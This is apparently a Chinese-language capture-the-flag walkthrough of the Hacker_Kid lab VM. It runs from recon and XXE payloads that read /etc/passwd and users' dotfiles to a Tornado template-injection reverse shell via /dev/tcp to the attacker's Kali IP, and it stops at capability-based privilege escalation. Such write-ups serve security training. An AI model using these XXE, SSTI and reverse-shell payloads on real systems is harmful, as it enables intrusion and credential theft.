靶機練習: Hacker_Kid-v1.0.1

靶機: Hacker_Kid-v1.0.1

準備工作

靶機攻略

發現目標

使用常規工具:

  • arp-scan
  • nmap
  • netdiscover
  • fping

初步掃描 sudo arp-scan -l -I eth1 發現目標 192.168.56.118

┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1  
[sudo] kali 的密碼:
Interface: eth1, type: EN10MB, MAC: 08:00:27:5f:50:d7, IPv4: 192.168.56.116
Starting arp-scan 1.9.8 with 256 hosts (//github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:0d       (Unknown: locally administered)
192.168.56.100  08:00:27:5c:43:96       PCS Systemtechnik GmbH
192.168.56.118  08:00:27:04:87:5a       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.154 seconds (118.85 hosts/sec). 3 responded

使用 nmap 進行端口掃描 nmap -A -T4 192.168.56.118 發現三個 tcp 端口開發

┌──(kali㉿kali)-[~]
└─$ nmap -A -T4 192.168.56.118
Starting Nmap 7.93 ( //nmap.org ) at 2022-11-15 11:32 CST
Nmap scan report for 192.168.56.118
Host is up (0.0012s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Notorious Kid : A Hacker 
|_http-server-header: Apache/2.4.41 (Ubuntu)
9999/tcp open  http    Tornado httpd 6.1
|_http-server-header: TornadoServer/6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at //nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.50 seconds
  • 53 是 DNS 服務使用 ISC BIND 9.16.1 (Ubuntu Linux)

    • 用於 DNS 的服務,對於 BIND 9 的官方資料 //www.isc.org/bind/
    • 相關漏洞 CVE-2020-8625CVE-2021-25216
  • 80 是 http 服務使用 Apache httpd 2.4.41 ((Ubuntu))

    • http-title: Notorious Kid : A Hacker 看 Notorious Kid : A Hacker 對於初步信息收集應該從此處開始
  • 9999 也是 http 服務,但使用的是 Tornado httpd 6.1

    • 並且 http-title 以及 _Requested resource was /login?next=%2F 表明與登錄有關

收集信息

我們使用 firefox 先訪問 //192.168.56.118:80/ 發現此頁面中是一個提示信息,一個黑客攻陷了此網站,並留了一個後面讓我們使用 dig 但我們需要更多信息,進一步使用 Ctrl + U 查看源碼

<!--

<div class="container py-5">
  <h1>Thanks</h1>

 TO DO: Use a GET parameter page_no  to view pages.
-->
    <!-- Optional JavaScript -->
    <!-- jQuery first, then Popper.js, then Bootstrap JS -->
  • 在源碼的一段注釋信息中說此頁面存在一個 GET 參數 page_no
  • page_no 翻譯 page 頁面,在開發中 no 一般指數字

我們隨意嘗試請求一下 //192.168.56.118/?page_no=0 查看頁面與原本的有什麼區別

┌──(kali㉿kali)-[~]
└─$ comm -3 <(curl "//192.168.56.118/" 2>/dev/null) <(curl "//192.168.56.118/?page_no=0" 2>/dev/null) 2>/dev/null        1 ⨯

<font color="red">
</center>


<!--

<div class="container py-5">
  <h1>Thanks</h1>

        Oh Man !! Isn't is right to go a little deep inside?
        <font color="red">
        </center>


        <!--

        <div class="container py-5">
          <h1>Thanks</h1>             
  • 發現在 //192.168.56.118/?page_no=0 頁面下方多了一段紅色提示 “Oh Man !! Isn’t is right to go a little deep inside?”

  • 不同之處可以在訪問瀏覽器中發現,也可以通過 curl 請求回返的源碼通過 comm 進行比較發現不同的地方

    • 對比命令中的不同是使用 Process Substitution 將 curl 輸出做為 comm 輸入類似管道 | 的使用

    • 2>/dev/null 作用是將 標準錯誤 重定向到 /dev/null 文件

      • /dev/null 是一個特殊的文件,寫入到它的內容都會被丟棄,可以理解為垃圾桶
  • 對於提示 “Oh Man !! Isn’t is right to go a little deep inside?” 表示 我們的猜測大體正確,但參數的值不夠準確,在換值 page_no=1 發現結果是一樣的 comm -3 <(curl "//192.168.56.118/?page_no=1" 2>/dev/null) <(curl "//192.168.56.118/?page_no=0" 2>/dev/null) 2>/dev/null

對此我們編寫一個爆破腳本 loop.sh 並執行 bash loop.sh 下面是腳本內容,在 0~50 進行爆破比對返回內容有異常的數值

i=0
while(( $i<=50 ))
do
    j=$((i+1))
    str=`comm -3 \
        <(curl -i "//192.168.56.118/?page_no=$i" 2>/dev/null) \
        <(curl -i "//192.168.56.118/?page_no=$j" 2>/dev/null) \
        2>/dev/null`
    if ((${#str} > 0))
    then
        echo $j
        break
    fi
    let "i++"
done
  • 爆破結果,值為21

    ┌──(kali㉿kali)-[~/workspace]
    └─$ bash loop.sh 
    21
    

我們訪問 //192.168.56.118/?page_no=21

Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes...one such home..one such home for me : hackers.blackhat.local
  • 發現在頁面最下面有這樣一段紅色提示,如果瞎可以使用 comm -3 <(curl "//192.168.56.118/?page_no=0" 2>/dev/null) <(curl "//192.168.56.118/?page_no=21" 2>/dev/null) 2>/dev/null 看源碼區別

    ┌──(kali㉿kali)-[~/workspace]
    └─$ comm -3 <(curl "//192.168.56.118/?page_no=0" 2>/dev/null) <(curl "//192.168.56.118/?page_no=21" 2>/dev/null) 2>/dev/null
    Oh Man !! Isn't is right to go a little deep inside?
    <font color="red">
    </center>
    
    <!--
    
    <div class="container py-5">
    <h1>Thanks</h1>
    
            Okay so you want me to speak something ?<br>I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!<br>Out of my many homes...one such home..one such home for me : hackers.blackhat.local<br>
            <font color="red">
            </center>
    
    
            <!--
    
            <div class="container py-5">
            <h1>Thanks</h1>
    
  • 提示的大體意思是,他留下了一個關於域名的後門,並給出了一個 hackers.blackhat.local 的域名

擴充知識中:服務器虛擬主機原理

  • 服務器虛擬主機是指使用一台物理機器,充當多個主機名的 WEB 服務器
  • 使用虛擬主機的好處在於,一些小規模的網站,通過跟其他網站共享同一台物理機器,可以減少系統的運行成本,並且可以減少管理的難度
  • 虛擬主機的兩種工作方式
    • 基於IP地址的虛擬主機方式
    • 基於主機名的虛擬主機方式

我們可以嘗試篡改發送請求的請求頭中的 Host 進行欺騙,上面提示有一個 hackers.blackhat.local 的域名,對於目前 IP 是固定的,說明目標使用了服務器虛擬主機管理多個 WEB 網站應用,我們使用 curl -H 'Host: hackerkid.blackhat.local' "//192.168.56.118" 測試一番

┌──(kali㉿kali)-[~/workspace]
└─$ curl -H 'Host: hackerkid.blackhat.local' //192.168.56.118                                                               130 ⨯
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="//www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Register Today</title>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript">
function XMLFunction(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<root>' +
        '<name>' + $('#name').val() + '</name>' +
        '<tel>' + $('#tel').val() + '</tel>' +
        '<email>' + $('#email').val() + '</email>' +
        '<password>' + $('#password').val() + '</password>' +
        '</root>';
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if(xmlhttp.readyState == 4){
            console.log(xmlhttp.readyState);
            console.log(xmlhttp.responseText);
            document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;

        }
    }
    xmlhttp.open("POST","process.php",true);
    xmlhttp.send(xml);
};
</script>
 <style>
body {
  background-image: url('back2.jpg');
 background-repeat: no-repeat;
  background-attachment: fixed;
  background-size: cover;
}
</style> 
<style>
body {
  color: green;
}
</style>
</head>
<body>
<center>

    <div id="registration">
        <h2>Create Account</h2>
        <div id="RegisterUserForm">
            <fieldset>
                <p>
                <label for="name">Name</label>
                <input id="name" name="name" type="text" class="text"
                value="" />
                </p>

                <p>
                <label for="tel">Phone Number</label>
                <input id="tel" name="tel" type="tel" class="text" value=""
                />
                </p>

                <p>
                <label for="email">Email</label>
                <input id="email" name="email" type="email" class="text"
                value="" />
                </p>

                <p>
                <label for="password">Password</label>
                <input id="password" name="password" class="text"
                type="password" />
            
                <button id="registerNew"
                    onclick="XMLFunction()">Register</button>
                </p>
            </fieldset>
        </div>
    </div>
    <div id="errorMessage" color="red">
    </div>
</center>
</body>
</html>
  • 發現有不一樣的內容比較,如果不喜歡源碼閱讀的可以通過下面方式看看 頁面渲染後大體內容 【最後還是要讀源碼】

    • 部分攔截工具,攔截後篡改 Host 在瀏覽器上查看

      • BurpSuite
      • Mitmproxy 推薦
    • 也可將 curl 內容請求保存在本地上查看,最簡單

    • 或者使用內核為 chromium 的瀏覽器使用 --host-resolver-rules 參數在命令行打開實例訪問

      • –host-resolver-rules=”MAP hackers.blackhat.local 192.168.56.118″
    • 改 hosts 文件,將域名與 IP 綁定

  • 從代碼中可以看出 關鍵部分(請求相關的) 內容

    <fieldset>
        <p>
        <label for="name">Name</label>
        <input id="name" name="name" type="text" class="text"
        value="" />
        </p>
    
        <p>
        <label for="tel">Phone Number</label>
        <input id="tel" name="tel" type="tel" class="text" value=""
        />
        </p>
    
        <p>
        <label for="email">Email</label>
        <input id="email" name="email" type="email" class="text"
        value="" />
        </p>
    
        <p>
        <label for="password">Password</label>
        <input id="password" name="password" class="text"
        type="password" />
    
        <button id="registerNew"
            onclick="XMLFunction()">Register</button>
        </p>
    </fieldset>
    
  • 請求是使用 JavaScript 進行處理的,並且請求數據是封裝成 xml 進行數據交互

    function XMLFunction(){
        var xml = '' +
            '<?xml version="1.0" encoding="UTF-8"?>' +
            '<root>' +
            '<name>' + $('#name').val() + '</name>' +
            '<tel>' + $('#tel').val() + '</tel>' +
            '<email>' + $('#email').val() + '</email>' +
            '<password>' + $('#password').val() + '</password>' +
            '</root>';
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if(xmlhttp.readyState == 4){
                console.log(xmlhttp.readyState);
                console.log(xmlhttp.responseText);
                document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;
    
            }
        }
        xmlhttp.open("POST","process.php",true);
        xmlhttp.send(xml);
    };
    
  • xmlhttp.open("POST","process.php",true); 這一段是說明兩點

    • 請求方式 Post
    • 最終會有 process.php 對 xml 數據進行處理,說明後台是使用 PHP 進行處理
  • Post 請求數據的 xml 結構

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name></name>
    <tel></tel>
    <email></email>
    <password></password>
</root>

我們可以嘗試進行數據請求,使用如下命令,此命令本質是一行但為了便於各位理解進行了調整

echo '
<?xml version="1.0" encoding="UTF-8"?>
<root>
  <name>1</name>
  <tel>1</tel>
  <email>[email protected]</email>
  <password>1</password>
</root>' \
| curl //192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @-
  • 作用是向 //192.168.56.118/process.php 發起請求,只有使用 -d 參數就是默認 POST 請求
  • -d 後面是跟請求數據,此處是使用 @ 後面應該跟文件,但通過 echo 輸出 xml 的內容用管道輸向 -
  • - 指定 echo 輸出的內容

使用效果

┌──(kali㉿kali)-[~/workspace]
└─$ echo '
<?xml version="1.0" encoding="UTF-8"?>
<root>
  <name>1</name>
  <tel>1</tel>
  <email>[email protected]</email>
  <password>1</password>
</root>' \
| curl //192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @-
Sorry, [email protected] is not available !!! 
  • 返回的內容是 Sorry, [email protected] is not available !!! 其中 [email protected] 經過多次嘗試此處是動態回返的
  • 對此我們可以嘗試使用 xml 的相關漏洞
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM 'file:///etc/passwd'>]>
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&k;</email>
    <password>1</password>
</root>
  • 如果 <!DOCTYPE drug [<!ENTITY k SYSTEM 'file:///etc/passwd'>]> 看不懂,可以去查關於 DTD 的內容
  • 在 xml 中包含 DTD 需要使用 DOCTYPE 聲明,這個應該好理解,其中 drug 是聲明的 XML 文檔構建模塊 名稱可以隨意
  • ENTITY 是進行一個外部實體聲明,其中 k 只是一個名稱,使用 SYSTEM 引入外部資源,所以 k 現在代表 file:///etc/passwd
  • 其中 email 標籤內容是 k 以此通過請求返回看到系統內部信息

利用 xml 的相關漏洞

┌──(kali㉿kali)-[~]
└─$ echo '
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM "file:///etc/passwd">]>
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&k;</email>
    <password>1</password>
</root>' \
| curl //192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @-
Sorry, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
bind:x:126:133::/var/cache/bind:/usr/sbin/nologin
 is not available !!!                                                                                            
  • 雀實存在漏洞,藉此獲取了 /etc/passwd 的內容

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
    syslog:x:104:110::/home/syslog:/usr/sbin/nologin
    _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
    tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
    uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
    tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
    avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
    usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
    rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
    dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
    cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
    speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
    avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
    kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
    saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
    nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
    hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
    whoopsie:x:120:125::/nonexistent:/bin/false
    colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
    geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
    pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
    gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
    gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
    saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
    systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
    bind:x:126:133::/var/cache/bind:/usr/sbin/nologin
    
    • 發現一個用戶 saket

我們使用腳本進行爆破,查看在隱秘文件中 是否存在賬號密碼相關的內容 全部看太多,重點依次排查

echo '' > ./test;
for i in $(cat ./file.txt)
do
str=`echo '
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM "php://filter/convert.base64-encode/resource='$i'">]>
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&k;</email>
    <password>1</password>
</root>' \
| curl //192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @- 2>/dev/null`;

    if ((${#${str: 7:((${#str}-28))}}!=0)); then
        echo '\n#'$i'###:' >> ./test;
        echo ${str: 7:((${#str}-28))} | base64 -d -i | grep -E "(username|root|saket|admin|password|passwd)" >> ./test;
    fi
done
grep -E "(username|root|saket|admin|password|passwd)" ./test;
  • 讀取改用 PHP 的 php://filter 元封裝器可以繞過部分系統過濾
  • ./test 是存儲經過 grep 過濾的文件,其中 grep -E "(username|root|saket|admin|password|passwd)" 只篩選與 username, root, saket, admin, password, passwd 關鍵詞有關的內容,最後的 grep 會將 ./test 內容做一次完整輸出
  • ./test 中存在目錄,但下方為空的是被過濾導致的,如果賬號密碼沒有線索需要對其中空的目錄重點排查
  • 字典 ./file.txt 內容地址 //www.cnblogs.com/shadow-/p/16904855.html 這些一般容易都是有漏洞的地方,如果鏈接失效可以在當前博客的 dict 標籤中找到 「爆破字典:linux 敏感文件-01」

結果:

┌──(kali㉿kali)-[~/workspace]
└─$ echo '' > ./test;
for i in $(cat ./file.txt)
do
str=`echo '
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM "php://filter/convert.base64-encode/resource='$i'">]>
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&k;</email>
    <password>1</password>
</root>' \
| curl //192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @- 2>/dev/null`;

    if ((${#${str: 7:((${#str}-28))}}!=0)); then
        echo '\n#'$i'###:' >> ./test;
        echo ${str: 7:((${#str}-28))} | base64 -d -i | grep -E "(username|root|saket|admin|password|passwd)" >> ./test;
    fi
done
grep -E "(username|root|saket|admin|password|passwd)" ./test;
------------------------------------------------------------------------------
HOME=/root
LOGNAME=root
# and files in /etc/cron.d. These files also have username fields,
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# It has been reported that passwords should be enclosed with ticks/quotes
# It has been reported that passwords should be enclosed with ticks/quotes
#/etc/passwd###:
root:x:0:0:root:/root:/bin/bash
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
#/home/saket/.bashrc###:
# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
username="admin"
password="Saket!#$%@!!"
#/home/saket/.profile###:                        
  • 看來發現不簡單,重點是 /home/saket/.bashrc 的內容,其他的【看 ./test 】都是默認內容【當然返回為空的不確定,為空的是備用信息源】

    • username=”admin”
    • password=”Saket!#$%@!!”
  • 分析賬號不是 ssh 的用戶,排除 ssh 登錄,回想目前存在登錄的地方

    • 記着前面的 nmap 掃描時的 9999 端口嗎?掃描結果是與登錄有關

其他的內容,可以查看 ./test 的內容

/etc/anacrontab###:

HOME=/root

LOGNAME=root


#/etc/crontab###:

# and files in /etc/cron.d. These files also have username fields,

17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly

25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )

47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )

52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )


#/etc/fstab###:


#/etc/host.conf###:


#/etc/ld.so.conf###:


#/etc/mysql/my.cnf###:

# It has been reported that passwords should be enclosed with ticks/quotes


#/etc/mysql/my.cnf###:

# It has been reported that passwords should be enclosed with ticks/quotes


#/etc/networks###:


#/etc/passwd###:

root:x:0:0:root:/root:/bin/bash

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin

saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash


#/etc/resolv.conf###:


#/etc/ssh/ssh_config###:


#/home/saket/.bashrc###:

# set variable identifying the chroot you work in (used in the prompt below)

if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then

    debian_chroot=$(cat /etc/debian_chroot)

    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '

    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '

    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"

username="admin"

password="Saket!#$%@!!"


#/home/saket/.profile###:

嘗試訪問 //192.168.56.118:9999/ 使用密碼賬號嘗試

  • 嘗試結果 username 是 saket
  • 嘗試結果 password 是 Saket!#$%@!!

登錄後的,頁面源碼

<br>

<body bgcolor='black'>
    <center>
        <font color='green'> Tell me your name buddy<br><br><br>How can i get to know who are you ??</font>
        <br><br><br><br>
        <center>
            <p>
                <font color='red'><a href='/logout'>logout</a></font>
</body>
  • 當前頁面應該是存在一個 GET 參數 name

隨意請求一番,後的源碼

<html>
 <head><title>
  Hello 1 </title></head>
<body bgcolor='black'>
<center>
<font color='red'>
<br>
<br>
Hello 1
</font>
<center>
<br>
<br><br><br><br><center>
<a href="/logout">logout</a>
</center>
</body>
</html>
  • 反覆測試後,發現是將請求值嵌入 Hello 後面

  • 還記着 9999 端口使用的是 Tornado httpd 6.1

    • Tornado 是使用 Python 開發的全棧式 Web 框架
    • 對於 Web 框架熟悉的應該能理解 請求值是如何嵌入 Hello 後面的,不了解可以查看 Web 的 標籤模板語言 相關內容

利用標籤模板語言攻擊

Traceback (most recent call last):
  File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 1702, in _execute
    result = method(*self.path_args, **self.path_kwargs)
  File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 3173, in wrapper
    return method(self, *args, **kwargs)
  File "/opt/server.py", line 43, in get
    t = tornado.template.Template(template_data)
  File "/usr/local/lib/python3.8/dist-packages/tornado/template.py", line 326, in __init__
    self.compiled = compile(
  File "<string>.generated.py", line 11
    _tt_tmp = 1 abcdefjg  # <string>:10
                ^
SyntaxError: invalid syntax

  • 下面是報錯,說明存在漏洞

  • 通用攻擊語句 {{1+abcdefjg}}${1+abcdefjg}<%1+abcdefjg%>[abcdefjg] 其中 abcdefjg 隨意,目的讓它報錯,盡量不要讓它正常通過

    • //192.168.56.118:9999/?name={{1+abcdefjg}}${1+abcdefjg}<%1+abcdefjg%>[abcdefjg]

探測使用的標籤類型【其實知道是 Tornado 就已經確定】,使用 {{1*1}},${1*1},<%1*1%>,[1*1] 看那一段能正常運算

<html>
 <head><title>
  Hello {{1*1}},${1*1},&lt;%1*1%&gt;,[1*1] </title></head>
<body bgcolor='black'>
<center>
<font color='red'>
<br>
<br>
Hello 1,${1*1},<%1*1%>,[1*1]
</font>
<center>
<br>
<br><br><br><br><center>
<a href="/logout">logout</a>
</center>
</body>
</html>
  • 明顯是使用 {{}}

因為 Tornado 使用 Python 開發構建,構建語句 {% import os%}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.116/4444 0>&1"')}} 如何進行轉碼繞過過濾 %7B%25%20import%20os%20%25%7D%7B%7Bos.system(%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.116%2F4444%200%3E%261%22%27)%7D%7D 編碼網站:站長之家

┌──(kali㉿kali)-[~/workspace]
└─$ nc -nvlp 4444 
listening on [any] 4444 ...
connect to [192.168.56.116] from (UNKNOWN) [192.168.56.118] 42872
bash: cannot set terminal process group (673): Inappropriate ioctl for device
bash: no job control in this shell
saket@ubuntu:~$ 

賬號提權

本次提權需要 Capabilities 的知識

查看漏洞可能存在的權限漏洞使用 /sbin/getcap -r / 2>/dev/null

saket@ubuntu:~$ /sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null                                                                                                       
/usr/bin/python2.7 = cap_sys_ptrace+ep                                                                                              
/usr/bin/traceroute6.iputils = cap_net_raw+ep                                                                                       
/usr/bin/ping = cap_net_raw+ep                                                                                                      
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep                                                                                     
/usr/bin/mtr-packet = cap_net_raw+ep                                                                                                
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep                         
  • 其中 /usr/bin/python2.7 權限設置是有問題的
  • 使用 ps -aef | grep '/usr/sbin/apache2 -k start' 查看與進程 /usr/sbin/apache2 -k start 相關的進程號,選和 root 相關的
